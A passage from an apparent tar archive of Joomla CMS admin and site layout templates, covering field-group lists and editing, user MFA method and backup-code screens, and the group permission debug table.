                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                               endif; ?>>
                            <?php foreach ($this->items as $i => $item) : ?>
                                <?php $ordering   = ($listOrder == 'a.ordering'); ?>
                                <?php $canEdit    = $user->authorise('core.edit', $component . '.fieldgroup.' . $item->id); ?>
                                <?php $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || is_null($item->checked_out); ?>
                                <?php $canEditOwn = $user->authorise('core.edit.own', $component . '.fieldgroup.' . $item->id) && $item->created_by == $userId; ?>
                                <?php $canChange  = $user->authorise('core.edit.state', $component . '.fieldgroup.' . $item->id) && $canCheckin; ?>
                                <tr class="row<?php echo $i % 2; ?>" data-draggable-group="0" item-id="<?php echo $item->id; ?>">
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                                    </td>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php $iconClass = ''; ?>
                                        <?php if (!$canChange) : ?>
                                            <?php $iconClass = ' inactive'; ?>
                                        <?php elseif (!$saveOrder) : ?>
                                            <?php $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED'); ?>
                                        <?php endif; ?>
                                        <span class="sortable-handler<?php echo $iconClass; ?>">
                                            <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                        </span>
                                        <?php if ($canChange && $saveOrder) : ?>
                                            <input type="text" class="hidden" name="order[]" size="5" value="<?php echo $item->ordering; ?>">
                                        <?php endif; ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.published', $item->state, $i, 'groups.', $canChange, 'cb'); ?>
                                    </td>
                                    <th scope="row">
                                        <div class="break-word">
                                            <?php if ($item->checked_out) : ?>
                                                <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'groups.', $canCheckin); ?>
                                            <?php endif; ?>
                                            <?php if ($canEdit || $canEditOwn) : ?>
                                                <a href="<?php echo Route::_('index.php?option=com_fields&task=group.edit&id=' . $item->id . '&context=' . $context); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                                    <?php echo $this->escape($item->title); ?></a>
                                            <?php else : ?>
                                                <?php echo $this->escape($item->title); ?>
                                            <?php endif; ?>
                                            <div class="small break-word">
                                                <?php if ($item->note) : ?>
                                                    <?php echo Text::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
                                                <?php endif; ?>
                                            </div>
                                        </div>
                                    </th>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo $this->escape($item->access_level); ?>
                                    </td>
                                    <?php if (Multilanguage::isEnabled()) : ?>
                                        <td class="small d-none d-md-table-cell">
                                            <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                        </td>
                                    <?php endif; ?>
                                    <td class="d-none d-md-table-cell">
                                        <span><?php echo (int) $item->id; ?></span>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form. ?>
                    <?php
                    if (
                        $user->authorise('core.create', $component)
                        && $user->authorise('core.edit', $component)
                        && $user->authorise('core.edit.state', $component)
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                    'title' => Text::_('COM_FIELDS_VIEW_GROUPS_BATCH_OPTIONS'),
                                    'footer' => $this->loadTemplate('batch_footer')
                                ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
method/edit.php000064400000017313151726443500007476 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Method\HtmlView;
use Joomla\Utilities\ArrayHelper;

/** @var  HtmlView  $this */

$cancelURL = Route::_('index.php?option=com_users&task=methods.display&user_id=' . $this->user->id);

if (!empty($this->returnURL)) {
    $cancelURL = $this->escape(base64_decode($this->returnURL));
}

$recordId     = (int) $this->record->id ?? 0;
$method       = $this->record->method ?? $this->getModel()->getState('method');
$userId       = (int) $this->user->id ?? 0;
$headingLevel = 2;
$hideSubmit   = !$this->renderOptions['show_submit'] && !$this->isEditExisting
?>
<div class="card card-body">
    <form action="<?php echo Route::_(sprintf("index.php?option=com_users&task=method.save&id=%d&method=%s&user_id=%d", $recordId, $method, $userId)) ?>"
          class="form form-horizontal" id="com-users-method-edit" method="post">
        <?php echo HTMLHelper::_('form.token') ?>
        <?php if (!empty($this->returnURL)) : ?>
        <input type="hidden" name="returnurl" value="<?php echo $this->escape($this->returnURL) ?>">
        <?php endif; ?>

        <?php if (!empty($this->renderOptions['hidden_data'])) : ?>
            <?php foreach ($this->renderOptions['hidden_data'] as $key => $value) : ?>
        <input type="hidden" name="<?php echo $this->escape($key) ?>" value="<?php echo $this->escape($value) ?>">
            <?php endforeach; ?>
        <?php endif; ?>

        <?php if (!empty($this->title)) : ?>
            <?php if (!empty($this->renderOptions['help_url'])) : ?>
            <span class="float-end">
                <a href="<?php echo $this->renderOptions['help_url'] ?>"
                   class="btn btn-sm btn-default btn-inverse btn-dark"
                   target="_blank"
                >
                    <span class="icon icon-question-sign" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('JHELP') ?></span>
                </a>
            </span>
            <?php endif;?>
            <h<?php echo $headingLevel ?> id="com-users-method-edit-head">
                <?php echo Text::_($this->title) ?>
            </h<?php echo $headingLevel ?>>
            <?php $headingLevel++ ?>
        <?php endif; ?>

        <div class="row">
            <label class="col-sm-3 col-form-label"
                for="com-users-method-edit-title">
                <?php echo Text::_('COM_USERS_MFA_EDIT_FIELD_TITLE'); ?>
            </label>
            <div class="col-sm-9">
                <input type="text"
                        class="form-control"
                        id="com-users-method-edit-title"
                        name="title"
                        value="<?php echo $this->escape($this->record->title) ?>"
                        aria-describedby="com-users-method-edit-help">
                <p class="form-text" id="com-users-method-edit-help">
                    <?php echo $this->escape(Text::_('COM_USERS_MFA_EDIT_FIELD_TITLE_DESC')) ?>
                </p>
            </div>
        </div>

        <div class="row">
            <div class="col-sm-9 offset-sm-3">
                <div class="form-check">
                    <input class="form-check-input" type="checkbox" id="com-users-is-default-method" <?php echo $this->record->default ? 'checked="checked"' : ''; ?> name="default">
                    <label class="form-check-label" for="com-users-is-default-method">
                        <?php echo Text::_('COM_USERS_MFA_EDIT_FIELD_DEFAULT'); ?>
                    </label>
                </div>
            </div>
        </div>

        <?php if (!empty($this->renderOptions['pre_message'])) : ?>
        <div class="com-users-method-edit-pre-message text-muted mt-4 mb-3">
            <?php echo $this->renderOptions['pre_message'] ?>
        </div>
        <?php endif; ?>

        <?php if (!empty($this->renderOptions['tabular_data'])) : ?>
        <div class="com-users-method-edit-tabular-container">
            <?php if (!empty($this->renderOptions['table_heading'])) : ?>
                <h<?php echo $headingLevel ?> class="h3 border-bottom mb-3">
                    <?php echo $this->renderOptions['table_heading'] ?>
                </h<?php echo $headingLevel ?>>
            <?php endif; ?>
            <table class="table table-striped">
                <tbody>
                <?php foreach ($this->renderOptions['tabular_data'] as $cell1 => $cell2) : ?>
                <tr>
                    <td>
                        <?php echo $cell1 ?>
                    </td>
                    <td>
                        <?php echo $cell2 ?>
                    </td>
                </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php endif; ?>

        <?php if ($this->renderOptions['field_type'] == 'custom') : ?>
            <?php echo $this->renderOptions['html']; ?>
        <?php endif; ?>
        <div class="row mb-3 <?php echo $this->renderOptions['input_type'] === 'hidden' ? 'd-none' : '' ?>">
            <?php if ($this->renderOptions['label']) : ?>
            <label class="col-sm-3 col-form-label" for="com-users-method-code">
                <?php echo $this->renderOptions['label']; ?>
            </label>
            <?php endif; ?>
            <div class="col-sm-9" <?php echo $this->renderOptions['label'] ? '' : 'offset-sm-3' ?>>
                <?php
                $attributes = array_merge(
                    [
                        'type'             => $this->renderOptions['input_type'],
                        'name'             => 'code',
                        'value'            => $this->escape($this->renderOptions['input_value']),
                        'id'               => 'com-users-method-code',
                        'class'            => 'form-control',
                        'aria-describedby' => 'com-users-method-code-help',
                    ],
                    $this->renderOptions['input_attributes']
                );

                if (strpos($attributes['class'], 'form-control') === false) {
                    $attributes['class'] .= ' form-control';
                }
                ?>
                <input <?php echo ArrayHelper::toString($attributes) ?>>

                <p class="form-text" id="com-users-method-code-help">
                    <?php echo $this->escape($this->renderOptions['placeholder']) ?>
                </p>
            </div>
        </div>

        <div class="row mb-3">
            <div class="col-sm-9 offset-sm-3">
                <button type="submit" class="btn btn-primary me-3 <?php echo $hideSubmit ? 'd-none' : '' ?> <?php echo $this->renderOptions['submit_class'] ?>">
                    <span class="<?php echo $this->renderOptions['submit_icon'] ?>" aria-hidden="true"></span>
                    <?php echo Text::_($this->renderOptions['submit_text']); ?>
                </button>

                <a href="<?php echo $cancelURL ?>"
                   class="btn btn-sm btn-danger">
                    <span class="icon icon-cancel-2" aria-hidden="true"></span>
                    <?php echo Text::_('JCANCEL'); ?>
                </a>
            </div>
        </div>

        <?php if (!empty($this->renderOptions['post_message'])) : ?>
            <div class="com-users-method-edit-post-message text-muted">
                <?php echo $this->renderOptions['post_message'] ?>
            </div>
        <?php endif; ?>
    </form>
</div>
method/backupcodes.php000064400000004751151726443500011036 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Method\HtmlView;

/** @var  HtmlView $this */

HTMLHelper::_('bootstrap.tooltip', '.hasTooltip');

$cancelURL = Route::_('index.php?option=com_users&task=methods.display&user_id=' . $this->user->id);

if (!empty($this->returnURL)) {
    $cancelURL = $this->escape(base64_decode($this->returnURL));
}

if ($this->record->method != 'backupcodes') {
    throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

?>
<h2>
    <?php echo Text::_('COM_USERS_USER_BACKUPCODES') ?>
</h2>

<div class="alert alert-info">
    <?php echo Text::_('COM_USERS_USER_BACKUPCODES_DESC') ?>
</div>

<table class="table table-striped">
    <?php for ($i = 0; $i < (count($this->backupCodes) / 2); $i++) : ?>
        <tr>
            <td>
                <?php if (!empty($this->backupCodes[2 * $i])) : ?>
                    <?php // This is a Key emoji; we can hide it from screen readers ?>
                    <span aria-hidden="true">&#128273;</span>
                    <?php echo $this->backupCodes[2 * $i] ?>
                <?php endif; ?>
            </td>
            <td>
                <?php if (!empty($this->backupCodes[1 + 2 * $i])) : ?>
                    <?php // This is a Key emoji; we can hide it from screen readers ?>
                    <span aria-hidden="true">&#128273;</span>
                    <?php echo $this->backupCodes[1 + 2 * $i] ?>
                <?php endif ;?>
            </td>
        </tr>
    <?php endfor; ?>
</table>

<p>
    <?php echo Text::_('COM_USERS_MFA_BACKUPCODES_RESET_INFO'); ?>
</p>

<a class="btn btn-danger" href="<?php echo Route::_(sprintf("index.php?option=com_users&task=method.regenerateBackupCodes&user_id=%s&%s=1%s", $this->user->id, Factory::getApplication()->getFormToken(), empty($this->returnURL) ? '' : '&returnurl=' . $this->returnURL)) ?>">
    <span class="icon icon-refresh" aria-hidden="true"></span>
    <?php echo Text::_('COM_USERS_MFA_BACKUPCODES_RESET'); ?>
</a>

<a href="<?php echo $cancelURL ?>"
   class="btn btn-secondary">
    <span class="icon icon-cancel-2 icon-ban-circle"></span>
    <?php echo Text::_('JCANCEL'); ?>
</a>
group/edit.php000064400000007150151726443500007350 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$app = Factory::getApplication();
$input = $app->getInput();

$this->useCoreUI = true;

?>

<form action="<?php echo Route::_('index.php?option=com_fields&context=' . $this->state->get('filter.context') . '&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_FIELDS_GROUP_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">
    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>
    <div class="main-card form-horizontal">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('COM_FIELDS_VIEW_FIELD_FIELDSET_GENERAL', true)); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->renderField('label'); ?>
                <?php echo $this->form->renderField('description'); ?>
            </div>
            <div class="col-lg-3">
                <?php $this->set(
                    'fields',
                    [
                            [
                                'published',
                                'state',
                                'enabled',
                            ],
                            'access',
                            'language',
                            'note',
                        ]
                ); ?>
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
                <?php $this->set('fields', null); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php $this->set('ignore_fieldsets', ['fieldparams']); ?>
        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING', true)); ?>
        <fieldset id="fieldset-rules" class="options-form">
            <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
            <div>
            <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
            </div>
        </fieldset>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php if ($this->canDo->get('core.admin')) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'rules', Text::_('JGLOBAL_ACTION_PERMISSIONS_LABEL', true)); ?>
            <fieldset id="fieldset-rules" class="options-form">
                <legend><?php echo Text::_('JGLOBAL_ACTION_PERMISSIONS_LABEL'); ?></legend>
                <div>
                <?php echo $this->form->getInput('rules'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>
        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
        <?php echo $this->form->getInput('context'); ?>
        <input type="hidden" name="task" value="">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
group/edit.xml000064400000000302151726443500007351 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_GROUP_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_USERS_GROUP_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
debuggroup/default.php000064400000013675151726443500011067 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns');

?>
<form action="<?php echo Route::_('index.php?option=com_users&view=debuggroup&group_id=' . (int) $this->state->get('group_id')); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <div class="table-responsive">
            <table class="table">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_USERS_DEBUG_GROUP_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_TITLE', 'a.title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_ASSET_NAME', 'a.name', $listDirn, $listOrder); ?>
                        </th>
                        <?php foreach ($this->actions as $key => $action) : ?>
                        <th scope="col" class="w-6 text-center">
                            <?php echo Text::_($key); ?>
                        </th>
                        <?php endforeach; ?>
                        <th scope="col" class="w-6">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_USERS_HEADING_LFT', 'a.lft', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-3">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <tr class="row0">
                            <th scope="row">
                                <?php echo $this->escape(Text::_($item->title)); ?>
                            </th>
                            <td>
                                <?php echo LayoutHelper::render('joomla.html.treeprefix', ['level' => $item->level + 1]) . $this->escape($item->name); ?>
                            </td>
                            <?php foreach ($this->actions as $action) : ?>
                                <?php
                                $name  = $action[0];
                                $check = $item->checks[$name];
                                if ($check === true) :
                                    $class  = 'text-success icon-check';
                                    $button = 'btn-success';
                                    $text   = Text::_('COM_USERS_DEBUG_EXPLICIT_ALLOW');
                                elseif ($check === false) :
                                    $class  = 'text-danger icon-times';
                                    $button = 'btn-danger';
                                    $text   = Text::_('COM_USERS_DEBUG_EXPLICIT_DENY');
                                elseif ($check === null) :
                                    $class  = 'text-danger icon-minus-circle';
                                    $button = 'btn-warning';
                                    $text   = Text::_('COM_USERS_DEBUG_IMPLICIT_DENY');
                                else :
                                    $class  = '';
                                    $button = '';
                                    $text   = '';
                                endif;
                                ?>
                            <td class="text-center">
                                <span class="<?php echo $class; ?>" aria-hidden="true"></span>
                                <span class="visually-hidden"> <?php echo $text; ?></span>
                            </td>
                            <?php endforeach; ?>
                            <td>
                                <?php echo (int) $item->lft; ?>
                                - <?php echo (int) $item->rgt; ?>
                            </td>
                            <td>
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
            <div class="legend">
                <span class="text-danger icon-minus-circle" aria-hidden="true"></span>&nbsp;<?php echo Text::_('COM_USERS_DEBUG_IMPLICIT_DENY'); ?>&nbsp;
                <span class="text-success icon-check" aria-hidden="true"></span>&nbsp;<?php echo Text::_('COM_USERS_DEBUG_EXPLICIT_ALLOW'); ?>&nbsp;
                <span class="text-danger icon-times" aria-hidden="true"></span>&nbsp;<?php echo Text::_('COM_USERS_DEBUG_EXPLICIT_DENY'); ?>
            </div>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        </div>
        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
methods/default.php000064400000004323151726443500010355 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Methods\HtmlView;

/** @var HtmlView $this */
?>
<div id="com-users-methods-list">
    <?php if (!$this->get('forHMVC', false)) : ?>
        <h2 id="com-users-methods-list-head">
            <?php echo Text::_('COM_USERS_MFA_LIST_PAGE_HEAD'); ?>
        </h2>
    <?php endif ?>

    <div id="com-users-methods-reset-container" class="d-flex align-items-center border border-1 rounded-3 p-2 bg-light">
        <div id="com-users-methods-reset-message" class="flex-grow-1">
            <?php echo Text::_('COM_USERS_MFA_LIST_STATUS_' . ($this->mfaActive ? 'ON' : 'OFF')) ?>
        </div>
        <?php if ($this->mfaActive) : ?>
            <div>
                <a href="<?php echo Route::_('index.php?option=com_users&task=methods.disable&' . Factory::getApplication()->getFormToken() . '=1' . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id) ?>"
                   class="btn btn-danger btn-sm">
                    <?php echo Text::_('COM_USERS_MFA_LIST_REMOVEALL'); ?>
                </a>
            </div>
        <?php endif; ?>
    </div>

    <?php if (!count($this->methods)) : ?>
        <div id="com-users-methods-list-instructions" class="alert alert-info mt-2">
            <span class="icon icon-info-circle" aria-hidden="true"></span>
            <?php echo Text::_('COM_USERS_MFA_LIST_INSTRUCTIONS'); ?>
        </div>
    <?php elseif ($this->isMandatoryMFASetup) : ?>
        <div class="alert alert-info my-3">
            <h3 class="alert-heading">
                <?php echo Text::_('COM_USERS_MFA_MANDATORY_NOTICE_HEAD') ?>
            </h3>
            <p>
                <?php echo Text::_('COM_USERS_MFA_MANDATORY_NOTICE_BODY') ?>
            </p>
        </div>
    <?php endif ?>

    <?php $this->setLayout('list');
    echo $this->loadTemplate(); ?>
</div>
methods/firsttime.php000064400000003327151726443500010742 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Methods\HtmlView;

/** @var HtmlView $this */

$headingLevel = 2;
?>
<div id="com-users-methods-list">
    <?php if (!$this->isAdmin) : ?>
        <h<?php echo $headingLevel ?> id="com-users-methods-list-head">
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_PAGE_HEAD'); ?>
        </h<?php echo $headingLevel++ ?>>
    <?php endif; ?>
    <div id="com-users-methods-list-instructions" class="alert alert-info">
        <h<?php echo $headingLevel ?> class="alert-heading">
            <span class="fa fa-shield-alt" aria-hidden="true"></span>
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_INSTRUCTIONS_HEAD'); ?>
        </h<?php echo $headingLevel ?>>
        <p>
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_INSTRUCTIONS_WHATITDOES'); ?>
        </p>
        <a href="<?php echo Route::_(
            'index.php?option=com_users&task=methods.doNotShowThisAgain' .
                ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') .
                '&user_id=' . $this->user->id .
                '&' . Factory::getApplication()->getFormToken() . '=1'
        )?>"
           class="btn btn-danger w-100">
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_NOTINTERESTED'); ?>
        </a>
    </div>

    <?php $this->setLayout('list');
    echo $this->loadTemplate(); ?>
</div>
methods/list.php000064400000022626151726443500007712 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Users\Administrator\Helper\Mfa as MfaHelper;
use Joomla\Component\Users\Site\Model\MethodsModel;
use Joomla\Component\Users\Site\View\Methods\HtmlView;

/** @var HtmlView $this */

/** @var MethodsModel $model */
$model = $this->getModel();

$this->document->getWebAssetManager()->useScript('com_users.two-factor-list');

HTMLHelper::_('bootstrap.tooltip', '.hasTooltip');

$canAddEdit = MfaHelper::canAddEditMethod($this->user);
$canDelete  = MfaHelper::canDeleteMethod($this->user);
?>
<div id="com-users-methods-list-container">
    <?php foreach ($this->methods as $methodName => $method) :
        $methodClass = 'com-users-methods-list-method-name-' . htmlentities($method['name'])
            . ($this->defaultMethod == $methodName ? ' com-users-methods-list-method-default' : '');
        ?>
        <div class="com-users-methods-list-method <?php echo $methodClass?> mx-1 my-3 card <?php echo count($method['active']) ? 'border-secondary' : '' ?>">
            <div class="com-users-methods-list-method-header card-header <?php echo count($method['active']) ? 'border-secondary bg-secondary text-white' : '' ?> d-flex flex-wrap align-items-center gap-2">
                <div class="com-users-methods-list-method-image pt-1 px-3 pb-2 bg-light rounded-2">
                    <img src="<?php echo Uri::root() . $method['image'] ?>"
                         alt="<?php echo $this->escape($method['display']) ?>"
                         class="img-fluid"
                    >
                </div>
                <div class="com-users-methods-list-method-title flex-grow-1 d-flex flex-column">
                    <h2 class="h4 p-0 m-0 d-flex gap-3 align-items-center">
                        <span class="me-1 flex-grow-1">
                            <?php echo $method['display'] ?>
                        </span>
                        <?php if ($this->defaultMethod == $methodName) : ?>
                            <span id="com-users-methods-list-method-default-tag" class="badge bg-info me-1 fs-6">
                                <?php echo Text::_('COM_USERS_MFA_LIST_DEFAULTTAG') ?>
                            </span>
                        <?php endif; ?>
                    </h2>
                </div>
            </div>

            <div class="com-users-methods-list-method-records-container card-body">
                <div class="com-users-methods-list-method-info my-1 pb-1 small text-muted">
                    <?php echo $method['shortinfo'] ?>
                </div>

                <?php if (count($method['active'])) : ?>
                    <div class="com-users-methods-list-method-records pt-2 my-2">
                        <?php foreach ($method['active'] as $record) : ?>
                            <div class="com-users-methods-list-method-record d-flex flex-row flex-wrap justify-content-start border-top py-2">
                                <div class="com-users-methods-list-method-record-info flex-grow-1 d-flex flex-column align-items-start gap-1">
                                    <?php if ($methodName === 'backupcodes' && $canAddEdit) : ?>
                                        <div class="alert alert-info mt-1 w-100">
                                            <?php echo Text::sprintf('COM_USERS_MFA_BACKUPCODES_PRINT_PROMPT_HEAD', Route::_('index.php?option=com_users&task=method.edit&id=' . (int) $record->id . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id), 'text-decoration-underline') ?>
                                        </div>
                                    <?php else : ?>
                                        <h3 class="com-users-methods-list-method-record-title-container mb-1 fs-5">
                                            <?php if ($record->default) : ?>
                                                <span id="com-users-methods-list-method-default-badge-small"
                                                      class="text-warning me-1 hasTooltip"
                                                      title="<?php echo $this->escape(Text::_('COM_USERS_MFA_LIST_DEFAULTTAG')) ?>">
                                                    <span class="icon icon-star" aria-hidden="true"></span>
                                                    <span class="visually-hidden"><?php echo $this->escape(Text::_('COM_USERS_MFA_LIST_DEFAULTTAG')) ?></span>
                                                </span>
                                            <?php endif; ?>
                                            <span class="com-users-methods-list-method-record-title fw-bold">
                                                <?php echo $this->escape($record->title); ?>
                                            </span>
                                        </h3>
                                    <?php endif; ?>

                                    <div class="com-users-methods-list-method-record-lastused my-1 d-flex flex-row flex-wrap justify-content-start gap-5 text-muted small w-100">
                                        <span class="com-users-methods-list-method-record-createdon">
                                            <?php echo Text::sprintf('COM_USERS_MFA_LBL_CREATEDON', $model->formatRelative($record->created_on)) ?>
                                        </span>
                                        <span class="com-users-methods-list-method-record-lastused-date">
                                            <?php echo Text::sprintf('COM_USERS_MFA_LBL_LASTUSED', $model->formatRelative($record->last_used)) ?>
                                        </span>
                                    </div>

                                </div>

                                <?php if ($methodName !== 'backupcodes' && ($canAddEdit || $canDelete)) : ?>
                                <div class="com-users-methods-list-method-record-actions my-2 d-flex flex-row flex-wrap justify-content-center align-content-center align-items-start">
                                    <?php if ($canAddEdit) : ?>
                                    <a class="com-users-methods-list-method-record-edit btn btn-secondary btn-sm mx-1 hasTooltip"
                                       href="<?php echo Route::_('index.php?option=com_users&task=method.edit&id=' . (int) $record->id . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id)?>"
                                       title="<?php echo Text::_('JACTION_EDIT') ?> <?php echo $this->escape($record->title); ?>">
                                        <span class="icon icon-pencil" aria-hidden="true"></span>
                                        <span class="visually-hidden"><?php echo Text::_('JACTION_EDIT') ?> <?php echo $this->escape($record->title); ?></span>
                                    </a>
                                    <?php endif ?>

                                    <?php if ($method['canDisable'] && $canDelete) : ?>
                                    <a class="com-users-methods-list-method-record-delete btn btn-danger btn-sm mx-1 hasTooltip"
                                       href="<?php echo Route::_('index.php?option=com_users&task=method.delete&id=' . (int) $record->id . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id . '&' . Factory::getApplication()->getFormToken() . '=1')?>"
